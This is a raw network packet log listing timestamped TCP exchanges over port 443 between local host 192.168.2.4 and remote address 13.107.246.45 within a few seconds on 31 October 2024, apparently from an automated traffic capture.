Oct 31, 2024 11:28:18.861061096 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.861929893 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.861942053 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.862000942 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.862169027 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.862178087 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.903338909 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.903621912 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.903687954 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.903729916 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.903763056 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.903810978 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.903840065 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.903861046 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.903871059 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.903876066 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.906585932 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.906615019 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.906678915 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.906817913 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.906831026 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.979588032 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.979645967 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.979798079 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.980055094 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.980072975 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.980082989 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.980087996 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.983082056 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.983108997 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.983196974 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.983364105 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.983381987 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.578516960 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.579061031 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.579101086 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.579509020 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.579519987 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.589766979 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.590284109 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.590327978 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.590763092 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.590770960 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.605026007 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.605715990 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.605752945 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.606357098 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.606368065 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.653740883 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.654356956 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.654383898 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.654966116 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.654974937 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.707068920 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.707137108 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.707204103 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.707468033 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.707485914 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.707498074 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.707504034 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.710614920 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.710655928 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.710753918 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.710927010 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.710943937 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.719295025 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.719897985 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.719939947 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.720377922 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.720383883 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.720441103 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.720562935 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.720632076 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.720696926 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.720716000 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.720721960 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.720729113 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.723689079 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.723725080 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.724044085 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.724044085 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.724069118 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.736290932 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.736327887 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.736382961 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.736414909 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.736452103 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.736685038 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.736701965 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.736733913 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.736738920 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.739926100 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.739959955 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.740061045 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.740176916 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.740189075 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.784128904 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.784190893 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.784255981 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.784501076 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.784524918 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.784535885 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.784542084 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.787009954 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.787034035 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.787118912 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.787473917 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.787489891 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.849348068 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.850111008 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.850167990 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.850229979 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.850229979 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.850286007 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.850306034 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.850317955 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.850323915 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.852899075 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.852941990 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:19.853034019 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.853178978 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:19.853189945 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.462006092 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.462655067 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.462726116 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.462753057 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.463036060 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.463062048 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.463352919 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.463360071 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.463599920 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.463606119 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.477782011 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.478351116 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.478368044 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.478966951 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.478971004 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.525084972 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.525769949 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.525798082 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.526222944 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.526230097 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.574557066 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.575269938 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.575295925 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.575722933 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.575728893 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.592183113 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.592272043 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.592405081 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.592794895 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.592794895 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.592818975 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.592828035 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.594077110 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.594183922 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.594264030 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.594671965 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.594692945 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.594717026 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.594722986 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.597654104 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.597707033 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.597831964 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.598920107 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.598936081 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.599011898 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.599070072 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.599128008 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.599169016 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.599179983 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.608414888 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.608503103 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.608592987 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.608778954 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.608793974 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.608804941 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.608809948 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.611489058 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.611535072 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.611617088 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.611751080 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.611767054 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.655442953 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.655486107 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.655531883 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.655561924 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.655605078 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.655862093 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.655885935 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.655900955 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.655908108 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.659097910 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.659132957 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.659252882 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.659404039 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.659420967 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.702117920 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.702181101 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.702239990 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.702461958 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.702476978 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.702487946 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.702493906 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.705507040 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.705543995 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:20.705651999 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.705815077 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:20.705826998 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.334719896 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.338963985 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.338990927 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.341998100 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.343105078 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.343113899 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.347301006 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.347321033 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.351331949 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.351337910 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.374949932 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.384583950 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.384602070 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.388581038 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.388591051 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.393559933 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.398641109 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.398658037 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.399257898 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.399266958 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.446206093 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.456262112 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.456280947 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.457226038 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.457237005 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.466450930 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.466531038 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.466614008 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.469990015 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.470025063 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.470038891 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.470046997 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.477720976 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.477888107 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.477989912 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.480351925 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.480375051 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.480387926 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.480393887 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.490115881 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.490155935 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.490161896 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.490201950 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.490235090 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.490381956 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.490394115 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.494349003 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.494349957 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.494398117 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.519212008 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.519244909 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.519294024 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.519323111 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.519354105 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.519396067 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.522403002 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.522425890 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.522438049 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.522444010 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.522713900 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.522789001 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.523176908 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.524321079 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.524321079 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.524355888 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.524369001 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.533672094 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.533713102 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.533849001 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.534138918 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.534149885 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.535912991 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.535953045 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.536007881 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.536421061 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.536437988 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.584841967 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.584903955 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.585040092 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.605518103 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.605555058 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.605570078 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.605577946 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.650187969 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.650237083 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:21.650343895 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.666479111 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:21.666508913 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.217411041 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.217904091 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.218099117 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.218110085 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.218728065 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.218739033 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.219208002 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.219222069 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.220108986 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.220117092 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.253598928 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.254345894 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.254359007 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.254874945 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.254880905 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.275001049 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.275516033 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.275530100 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.276065111 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.276071072 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.348280907 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.348476887 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.348536015 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.349632978 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.349658966 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.349659920 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.349662066 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.349680901 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.349690914 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.349710941 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.349723101 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.349776983 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.355398893 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.355417967 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.355427980 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.355433941 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.361067057 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.361109018 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.361171961 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.363245964 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.363260984 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.364139080 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.364178896 CET	443	49889	13.107.246.45	192.168.2.4
